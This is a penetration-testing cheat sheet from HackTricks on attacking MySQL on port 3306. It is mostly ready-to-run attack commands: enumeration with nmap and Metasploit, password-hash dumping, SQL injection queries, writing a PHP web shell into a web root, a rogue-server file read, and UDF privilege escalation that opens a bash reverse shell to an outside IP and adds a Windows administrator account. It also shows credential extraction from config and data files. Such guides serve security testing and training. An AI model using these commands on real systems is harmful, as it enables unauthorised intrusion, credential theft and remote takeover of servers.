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624 lines
20 KiB
Markdown
624 lines
20 KiB
Markdown
# 3306 - Pentesting Mysql
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<details>
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</details>
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## **Basic Information**
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**MySQL** is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (**SQL**). From [here](https://www.siteground.com/tutorials/php-mysql/mysql/).
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**Default port:** 3306
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```
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3306/tcp open mysql
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```
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## **Connect**
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### **Local**
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```bash
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mysql -u root # Connect to root without password
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mysql -u root -p # A password will be asked (check someone)
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```
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### Remote
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```bash
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mysql -h <Hostname> -u root
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mysql -h <Hostname> -u root@localhost
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```
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## External Enumeration
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Some of the enumeration actions require valid credentials
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```bash
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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
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msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
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msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
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```
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### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
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### Write any binary data
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```bash
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CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
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CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
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```
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## **MySQL commands**
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```bash
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show databases;
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use <database>;
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show tables;
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describe <table_name>;
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select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
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select user,file_priv from mysql.user where user='root'; #File privileges
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select version(); #version
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select @@version(); #version
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select user(); #User
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select database(); #database name
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#Get a shell with the mysql client user
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\! sh
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#Basic MySQLi
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Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
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Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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#Read & Write
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
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select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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#Try to change MySQL root password
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UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
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UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
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FLUSH PRIVILEGES;
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quit;
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```
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```bash
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mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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## MySQL arbitrary read file by client
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Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**\
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Please notice that this is the behaviour using:
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```bash
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load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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```
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(Notice the "local" word)\
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Because without the "local" you can get:
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```bash
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mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
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```
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**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
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**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
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**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
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## POST
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### Mysql User
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It will be very interesting if mysql is running as **root**:
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```bash
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cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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```
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### Privilege escalation
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```bash
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# Get current user (an all users) privileges and hashes
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use mysql;
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select user();
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select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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# Bash oneliner to get creds
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mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
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# Create user and give privileges
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create user test identified by 'test';
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grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
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# Get a shell (with your permissions, usefull for sudo/suid privesc)
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\! sh
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```
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### Privilege Escalation via library
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If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
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The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
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If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
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```bash
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gcc -g -c raptor_udf2.c
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gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
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```
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Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:
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#### Linux
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```sql
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
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## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
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show variables like '%plugin%';
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# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
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# dump in there the library
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select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
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# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
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select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
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select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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```
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#### Windows
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```sql
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# CHech the linux comments for more indications
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USE mysql;
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CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
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show variables like '%plugin%';
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
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CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
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SELECT sys_exec("net user npn npn12345678 /add");
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SELECT sys_exec("net localgroup Administrators npn /add");
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```
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### Extracting MySQL credentials from files
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Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
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```bash
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cat /etc/mysql/debian.cnf
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```
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You can **use these credentials to login in the mysql database**.
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Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)_._
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You can extract them doing:
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```bash
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grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
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```
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### Enabling logging
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You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:
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.png>)
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### Useful files
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Configuration Files
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* windows \*
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* config.ini
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* my.ini
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* windows\my.ini
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* winnt\my.ini
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* \<InstDir>/mysql/data/
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* unix
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* my.cnf
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* /etc/my.cnf
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* /etc/mysql/my.cnf
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* /var/lib/mysql/my.cnf
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* \~/.my.cnf
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* /etc/my.cnf
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* Command History
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* \~/.mysql.history
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* Log Files
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* connections.log
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* update.log
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* common.log
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## Default MySQL Database/Tables
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{% tabs %}
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{% tab title="information_schema" %}
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ALL\_PLUGINS\
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APPLICABLE\_ROLES\
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CHARACTER\_SETS\
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CHECK\_CONSTRAINTS\
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COLLATIONS\
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COLLATION\_CHARACTER\_SET\_APPLICABILITY\
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COLUMNS\
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COLUMN\_PRIVILEGES\
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ENABLED\_ROLES\
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ENGINES\
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EVENTS\
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FILES\
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GLOBAL\_STATUS\
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GLOBAL\_VARIABLES\
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KEY\_COLUMN\_USAGE\
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KEY\_CACHES\
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OPTIMIZER\_TRACE\
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PARAMETERS\
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PARTITIONS\
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PLUGINS\
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PROCESSLIST\
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PROFILING\
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REFERENTIAL\_CONSTRAINTS\
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ROUTINES\
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SCHEMATA\
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SCHEMA\_PRIVILEGES\
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SESSION\_STATUS\
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SESSION\_VARIABLES\
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STATISTICS\
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SYSTEM\_VARIABLES\
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TABLES\
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TABLESPACES\
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TABLE\_CONSTRAINTS\
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TABLE\_PRIVILEGES\
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TRIGGERS\
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USER\_PRIVILEGES\
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VIEWS\
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INNODB\_LOCKS\
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INNODB\_TRX\
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INNODB\_SYS\_DATAFILES\
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INNODB\_FT\_CONFIG\
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INNODB\_SYS\_VIRTUAL\
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INNODB\_CMP\
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INNODB\_FT\_BEING\_DELETED\
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INNODB\_CMP\_RESET\
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INNODB\_CMP\_PER\_INDEX\
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INNODB\_CMPMEM\_RESET\
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INNODB\_FT\_DELETED\
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INNODB\_BUFFER\_PAGE\_LRU\
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INNODB\_LOCK\_WAITS\
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INNODB\_TEMP\_TABLE\_INFO\
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INNODB\_SYS\_INDEXES\
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INNODB\_SYS\_TABLES\
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INNODB\_SYS\_FIELDS\
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INNODB\_CMP\_PER\_INDEX\_RESET\
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INNODB\_BUFFER\_PAGE\
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INNODB\_FT\_DEFAULT\_STOPWORD\
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INNODB\_FT\_INDEX\_TABLE\
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INNODB\_FT\_INDEX\_CACHE\
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INNODB\_SYS\_TABLESPACES\
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INNODB\_METRICS\
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INNODB\_SYS\_FOREIGN\_COLS\
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INNODB\_CMPMEM\
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INNODB\_BUFFER\_POOL\_STATS\
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INNODB\_SYS\_COLUMNS\
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INNODB\_SYS\_FOREIGN\
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INNODB\_SYS\_TABLESTATS\
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GEOMETRY\_COLUMNS\
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SPATIAL\_REF\_SYS\
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CLIENT\_STATISTICS\
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INDEX\_STATISTICS\
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USER\_STATISTICS\
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INNODB\_MUTEXES\
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TABLE\_STATISTICS\
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INNODB\_TABLESPACES\_ENCRYPTION\
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user\_variables\
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INNODB\_TABLESPACES\_SCRUBBING\
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INNODB\_SYS\_SEMAPHORE\_WAITS
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{% endtab %}
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{% tab title="mysql" %}
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columns\_priv\
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column\_stats\
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db\
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engine\_cost\
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event\
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func\
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general\_log\
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gtid\_executed\
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gtid\_slave\_pos\
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help\_category\
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help\_keyword\
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help\_relation\
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help\_topic\
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host\
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index\_stats\
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innodb\_index\_stats\
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innodb\_table\_stats\
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ndb\_binlog\_index\
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plugin\
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proc\
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procs\_priv\
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proxies\_priv\
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roles\_mapping\
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server\_cost\
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servers\
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slave\_master\_info\
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slave\_relay\_log\_info\
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slave\_worker\_info\
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slow\_log\
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tables\_priv\
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table\_stats\
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time\_zone\
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time\_zone\_leap\_second\
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time\_zone\_name\
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time\_zone\_transition\
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time\_zone\_transition\_type\
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transaction\_registry\
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user
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{% endtab %}
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{% tab title="performance_schema" %}
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accounts\
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cond\_instances\
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events\_stages\_current\
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events\_stages\_history\
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events\_stages\_history\_long\
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events\_stages\_summary\_by\_account\_by\_event\_name\
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events\_stages\_summary\_by\_host\_by\_event\_name\
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events\_stages\_summary\_by\_thread\_by\_event\_name\
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events\_stages\_summary\_by\_user\_by\_event\_name\
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events\_stages\_summary\_global\_by\_event\_name\
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events\_statements\_current\
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events\_statements\_history\
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events\_statements\_history\_long\
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events\_statements\_summary\_by\_account\_by\_event\_name\
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events\_statements\_summary\_by\_digest\
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events\_statements\_summary\_by\_host\_by\_event\_name\
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events\_statements\_summary\_by\_program\
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events\_statements\_summary\_by\_thread\_by\_event\_name\
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events\_statements\_summary\_by\_user\_by\_event\_name\
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events\_statements\_summary\_global\_by\_event\_name\
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events\_transactions\_current\
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events\_transactions\_history\
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events\_transactions\_history\_long\
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events\_transactions\_summary\_by\_account\_by\_event\_name\
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events\_transactions\_summary\_by\_host\_by\_event\_name\
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events\_transactions\_summary\_by\_thread\_by\_event\_name\
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events\_transactions\_summary\_by\_user\_by\_event\_name\
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events\_transactions\_summary\_global\_by\_event\_name\
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events\_waits\_current\
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events\_waits\_history\
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events\_waits\_history\_long\
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events\_waits\_summary\_by\_account\_by\_event\_name\
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events\_waits\_summary\_by\_host\_by\_event\_name\
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events\_waits\_summary\_by\_instance\
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events\_waits\_summary\_by\_thread\_by\_event\_name\
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events\_waits\_summary\_by\_user\_by\_event\_name\
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events\_waits\_summary\_global\_by\_event\_name\
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file\_instances\
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file\_summary\_by\_event\_name\
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file\_summary\_by\_instance\
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global\_status\
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global\_variables\
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host\_cache\
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hosts\
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memory\_summary\_by\_account\_by\_event\_name\
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memory\_summary\_by\_host\_by\_event\_name\
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memory\_summary\_by\_thread\_by\_event\_name\
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memory\_summary\_by\_user\_by\_event\_name\
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memory\_summary\_global\_by\_event\_name\
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metadata\_locks\
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mutex\_instances\
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objects\_summary\_global\_by\_type\
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performance\_timers\
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prepared\_statements\_instances\
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replication\_applier\_configuration\
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replication\_applier\_status\
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replication\_applier\_status\_by\_coordinator\
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replication\_applier\_status\_by\_worker\
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replication\_connection\_configuration\
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replication\_connection\_status\
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replication\_group\_member\_stats\
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replication\_group\_members\
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rwlock\_instances\
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session\_account\_connect\_attrs\
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session\_connect\_attrs\
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session\_status\
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session\_variables\
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setup\_actors\
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setup\_consumers\
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setup\_instruments\
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setup\_objects\
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setup\_timers\
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socket\_instances\
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socket\_summary\_by\_event\_name\
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socket\_summary\_by\_instance\
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status\_by\_account\
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status\_by\_host\
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status\_by\_thread\
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status\_by\_user\
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table\_handles\
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table\_io\_waits\_summary\_by\_index\_usage\
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table\_io\_waits\_summary\_by\_table\
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table\_lock\_waits\_summary\_by\_table\
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threads\
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user\_variables\_by\_thread\
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users\
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variables\_by\_thread
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{% endtab %}
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{% tab title="sys" %}
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host\_summary\
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host\_summary\_by\_file\_io\
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host\_summary\_by\_file\_io\_type\
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host\_summary\_by\_stages\
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host\_summary\_by\_statement\_latency\
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|
host\_summary\_by\_statement\_type\
|
|
innodb\_buffer\_stats\_by\_schema\
|
|
innodb\_buffer\_stats\_by\_table\
|
|
innodb\_lock\_waits\
|
|
io\_by\_thread\_by\_latency\
|
|
io\_global\_by\_file\_by\_bytes\
|
|
io\_global\_by\_file\_by\_latency\
|
|
io\_global\_by\_wait\_by\_bytes\
|
|
io\_global\_by\_wait\_by\_latency\
|
|
latest\_file\_io\
|
|
memory\_by\_host\_by\_current\_bytes\
|
|
memory\_by\_thread\_by\_current\_bytes\
|
|
memory\_by\_user\_by\_current\_bytes\
|
|
memory\_global\_by\_current\_bytes\
|
|
memory\_global\_total\
|
|
metrics\
|
|
processlist\
|
|
ps\_check\_lost\_instrumentation\
|
|
schema\_auto\_increment\_columns\
|
|
schema\_index\_statistics\
|
|
schema\_object\_overview\
|
|
schema\_redundant\_indexes\
|
|
schema\_table\_lock\_waits\
|
|
schema\_table\_statistics\
|
|
schema\_table\_statistics\_with\_buffer\
|
|
schema\_tables\_with\_full\_table\_scans\
|
|
schema\_unused\_indexes\
|
|
session\
|
|
session\_ssl\_status\
|
|
statement\_analysis\
|
|
statements\_with\_errors\_or\_warnings\
|
|
statements\_with\_full\_table\_scans\
|
|
statements\_with\_runtimes\_in\_95th\_percentile\
|
|
statements\_with\_sorting\
|
|
statements\_with\_temp\_tables\
|
|
sys\_config\
|
|
user\_summary\
|
|
user\_summary\_by\_file\_io\
|
|
user\_summary\_by\_file\_io\_type\
|
|
user\_summary\_by\_stages\
|
|
user\_summary\_by\_statement\_latency\
|
|
user\_summary\_by\_statement\_type\
|
|
version\
|
|
wait\_classes\_global\_by\_avg\_latency\
|
|
wait\_classes\_global\_by\_latency\
|
|
waits\_by\_host\_by\_latency\
|
|
waits\_by\_user\_by\_latency\
|
|
waits\_global\_by\_latency\
|
|
x$host\_summary\
|
|
x$host\_summary\_by\_file\_io\
|
|
x$host\_summary\_by\_file\_io\_type\
|
|
x$host\_summary\_by\_stages\
|
|
x$host\_summary\_by\_statement\_latency\
|
|
x$host\_summary\_by\_statement\_type\
|
|
x$innodb\_buffer\_stats\_by\_schema\
|
|
x$innodb\_buffer\_stats\_by\_table\
|
|
x$innodb\_lock\_waits\
|
|
x$io\_by\_thread\_by\_latency\
|
|
x$io\_global\_by\_file\_by\_bytes\
|
|
x$io\_global\_by\_file\_by\_latency\
|
|
x$io\_global\_by\_wait\_by\_bytes\
|
|
x$io\_global\_by\_wait\_by\_latency\
|
|
x$latest\_file\_io\
|
|
x$memory\_by\_host\_by\_current\_bytes\
|
|
x$memory\_by\_thread\_by\_current\_bytes\
|
|
x$memory\_by\_user\_by\_current\_bytes\
|
|
x$memory\_global\_by\_current\_bytes\
|
|
x$memory\_global\_total\
|
|
x$processlist\
|
|
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
|
|
x$ps\_digest\_avg\_latency\_distribution\
|
|
x$ps\_schema\_table\_statistics\_io\
|
|
x$schema\_flattened\_keys\
|
|
x$schema\_index\_statistics\
|
|
x$schema\_table\_lock\_waits\
|
|
x$schema\_table\_statistics\
|
|
x$schema\_table\_statistics\_with\_buffer\
|
|
x$schema\_tables\_with\_full\_table\_scans\
|
|
x$session\
|
|
x$statement\_analysis\
|
|
x$statements\_with\_errors\_or\_warnings\
|
|
x$statements\_with\_full\_table\_scans\
|
|
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
|
x$statements\_with\_sorting\
|
|
x$statements\_with\_temp\_tables\
|
|
x$user\_summary\
|
|
x$user\_summary\_by\_file\_io\
|
|
x$user\_summary\_by\_file\_io\_type\
|
|
x$user\_summary\_by\_stages\
|
|
x$user\_summary\_by\_statement\_latency\
|
|
x$user\_summary\_by\_statement\_type\
|
|
x$wait\_classes\_global\_by\_avg\_latency\
|
|
x$wait\_classes\_global\_by\_latency\
|
|
x$waits\_by\_host\_by\_latency\
|
|
x$waits\_by\_user\_by\_latency\
|
|
x$waits\_global\_by\_latency
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
## HackTricks Automatic Commands
|
|
|
|
```
|
|
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
|
Port_Number: 3306 #Comma separated if there is more than one.
|
|
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for MySql
|
|
Note: |
|
|
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
|
|
|
Entry_2:
|
|
Name: Nmap
|
|
Description: Nmap with MySql Scripts
|
|
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
|
|
|
Entry_3:
|
|
Name: MySql
|
|
Description: Attempt to connect to mysql server
|
|
Command: mysql -h {IP} -u {Username}@localhost
|
|
|
|
Entry_4:
|
|
Name: MySql consolesless mfs enumeration
|
|
Description: MySql enumeration without the need to run msfconsole
|
|
Note: sourced from https://github.com/carlospolop/legion
|
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
|
|
|
```
|
|
|
|
<details>
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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|
</details>
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